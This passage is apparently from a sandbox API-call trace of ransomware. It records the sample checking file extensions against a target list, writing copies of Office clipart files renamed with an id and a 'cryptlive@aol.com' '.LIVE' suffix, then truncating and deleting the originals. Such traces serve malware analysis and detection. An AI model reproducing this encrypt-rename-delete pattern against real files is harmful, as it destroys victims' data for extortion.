(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.387] lstrlenW (lpString=".jpg") returned 4 [0153.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.387] lstrlenW (lpString=".doc") returned 4 [0153.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.387] lstrlenW (lpString=".docx") returned 5 [0153.387] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.387] lstrlenW (lpString=".pdf") returned 4 [0153.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.387] lstrlenW (lpString=".xls") returned 4 [0153.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.387] lstrlenW (lpString=".xlsx") returned 5 [0153.387] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.387] lstrlenW (lpString=".ppt") returned 4 [0153.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.387] lstrlenW (lpString=".zip") returned 4 [0153.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.387] lstrlenW (lpString=".rar") returned 4 [0153.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.387] lstrlenW (lpString=".bz2") returned 4 [0153.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.387] lstrlenW (lpString=".7z") returned 3 [0153.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.387] lstrlenW (lpString=".dbf") returned 4 [0153.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.387] lstrlenW (lpString=".1cd") returned 4 [0153.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.387] lstrlenW (lpString=".jpg") returned 4 [0153.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.388] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.388] lstrlenW (lpString="J0105506.WMF") returned 12 [0153.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.388] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2912) returned 1 [0153.388] CloseHandle (hObject=0x1e0) returned 1 [0153.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 0x20 [0153.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.389] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.389] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.390] GetLastError () returned 0x0 [0153.390] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xb60, lpOverlapped=0x0) returned 1 [0153.400] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb70, lpOverlapped=0x0) returned 1 [0153.401] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.401] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.401] SetEndOfFile (hFile=0x38c) returned 1 [0153.401] CloseHandle (hObject=0x38c) returned 1 [0153.401] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.402] SetEndOfFile (hFile=0x1e0) returned 1 [0153.404] CloseHandle (hObject=0x1e0) returned 1 [0153.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0153.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.406] lstrlenW (lpString=".doc") returned 4 [0153.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.406] lstrlenW (lpString=".docx") returned 5 [0153.406] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.406] lstrlenW (lpString=".pdf") returned 4 [0153.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.406] lstrlenW (lpString=".xls") returned 4 [0153.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.406] lstrlenW (lpString=".xlsx") returned 5 [0153.406] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.406] lstrlenW (lpString=".ppt") returned 4 [0153.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.407] lstrlenW (lpString=".zip") returned 4 [0153.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.407] lstrlenW (lpString=".rar") returned 4 [0153.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.407] lstrlenW (lpString=".bz2") returned 4 [0153.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.407] lstrlenW (lpString=".7z") returned 3 [0153.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.407] lstrlenW (lpString=".dbf") returned 4 [0153.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.407] lstrlenW (lpString=".1cd") returned 4 [0153.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.407] lstrlenW (lpString=".jpg") returned 4 [0153.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.407] lstrlenW (lpString=".doc") returned 4 [0153.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.407] lstrlenW (lpString=".docx") returned 5 [0153.407] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.407] lstrlenW (lpString=".pdf") returned 4 [0153.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.407] lstrlenW (lpString=".xls") returned 4 [0153.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.408] lstrlenW (lpString=".xlsx") returned 5 [0153.408] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.408] lstrlenW (lpString=".ppt") returned 4 [0153.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.408] lstrlenW (lpString=".zip") returned 4 [0153.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.408] lstrlenW (lpString=".rar") returned 4 [0153.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.408] lstrlenW (lpString=".bz2") returned 4 [0153.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.408] lstrlenW (lpString=".7z") returned 3 [0153.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.408] lstrlenW (lpString=".dbf") returned 4 [0153.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.408] lstrlenW (lpString=".1cd") returned 4 [0153.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0153.408] lstrlenW (lpString=".jpg") returned 4 [0153.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.408] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.408] lstrlenW (lpString="J0105520.WMF") returned 12 [0153.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.409] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=31812) returned 1 [0153.409] CloseHandle (hObject=0x1e0) returned 1 [0153.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 0x20 [0153.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.410] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.410] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.411] GetLastError () returned 0x0 [0153.411] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x7c44, lpOverlapped=0x0) returned 1 [0153.414] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7c50, lpOverlapped=0x0) returned 1 [0153.416] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.416] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.416] SetEndOfFile (hFile=0x38c) returned 1 [0153.416] CloseHandle (hObject=0x38c) returned 1 [0153.416] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.416] SetEndOfFile (hFile=0x1e0) returned 1 [0153.419] CloseHandle (hObject=0x1e0) returned 1 [0153.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0153.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.614] lstrlenW (lpString=".doc") returned 4 [0153.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.614] lstrlenW (lpString=".docx") returned 5 [0153.615] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.615] lstrlenW (lpString=".pdf") returned 4 [0153.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.615] lstrlenW (lpString=".xls") returned 4 [0153.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.615] lstrlenW (lpString=".xlsx") returned 5 [0153.615] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.615] lstrlenW (lpString=".ppt") returned 4 [0153.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.615] lstrlenW (lpString=".zip") returned 4 [0153.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.615] lstrlenW (lpString=".rar") returned 4 [0153.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.615] lstrlenW (lpString=".bz2") returned 4 [0153.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.615] lstrlenW (lpString=".7z") returned 3 [0153.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.615] lstrlenW (lpString=".dbf") returned 4 [0153.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.615] lstrlenW (lpString=".1cd") returned 4 [0153.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.615] lstrlenW (lpString=".jpg") returned 4 [0153.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.615] lstrlenW (lpString=".doc") returned 4 [0153.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.615] lstrlenW (lpString=".docx") returned 5 [0153.615] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.615] lstrlenW (lpString=".pdf") returned 4 [0153.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.615] lstrlenW (lpString=".xls") returned 4 [0153.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.616] lstrlenW (lpString=".xlsx") returned 5 [0153.616] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.616] lstrlenW (lpString=".ppt") returned 4 [0153.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.616] lstrlenW (lpString=".zip") returned 4 [0153.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.616] lstrlenW (lpString=".rar") returned 4 [0153.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.616] lstrlenW (lpString=".bz2") returned 4 [0153.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.616] lstrlenW (lpString=".7z") returned 3 [0153.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.616] lstrlenW (lpString=".dbf") returned 4 [0153.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.616] lstrlenW (lpString=".1cd") returned 4 [0153.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0153.616] lstrlenW (lpString=".jpg") returned 4 [0153.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.616] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.616] lstrlenW (lpString="J0105912.WMF") returned 12 [0153.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.617] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11720) returned 1 [0153.617] CloseHandle (hObject=0x1e0) returned 1 [0153.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 0x20 [0153.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.620] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.620] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0153.621] GetLastError () returned 0x0 [0153.621] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2dc8, lpOverlapped=0x0) returned 1 [0153.635] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2dd0, lpOverlapped=0x0) returned 1 [0153.636] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.636] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.636] SetEndOfFile (hFile=0x1dc) returned 1 [0153.636] CloseHandle (hObject=0x1dc) returned 1 [0153.636] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.636] SetEndOfFile (hFile=0x38c) returned 1 [0153.638] CloseHandle (hObject=0x38c) returned 1 [0153.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0153.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.640] lstrlenW (lpString=".doc") returned 4 [0153.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.640] lstrlenW (lpString=".docx") returned 5 [0153.640] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.640] lstrlenW (lpString=".pdf") returned 4 [0153.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.640] lstrlenW (lpString=".xls") returned 4 [0153.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.640] lstrlenW (lpString=".xlsx") returned 5 [0153.640] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.640] lstrlenW (lpString=".ppt") returned 4 [0153.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.640] lstrlenW (lpString=".zip") returned 4 [0153.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.640] lstrlenW (lpString=".rar") returned 4 [0153.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.640] lstrlenW (lpString=".bz2") returned 4 [0153.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.640] lstrlenW (lpString=".7z") returned 3 [0153.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.640] lstrlenW (lpString=".dbf") returned 4 [0153.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.640] lstrlenW (lpString=".1cd") returned 4 [0153.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.641] lstrlenW (lpString=".jpg") returned 4 [0153.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.641] lstrlenW (lpString=".doc") returned 4 [0153.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.641] lstrlenW (lpString=".docx") returned 5 [0153.641] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.641] lstrlenW (lpString=".pdf") returned 4 [0153.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 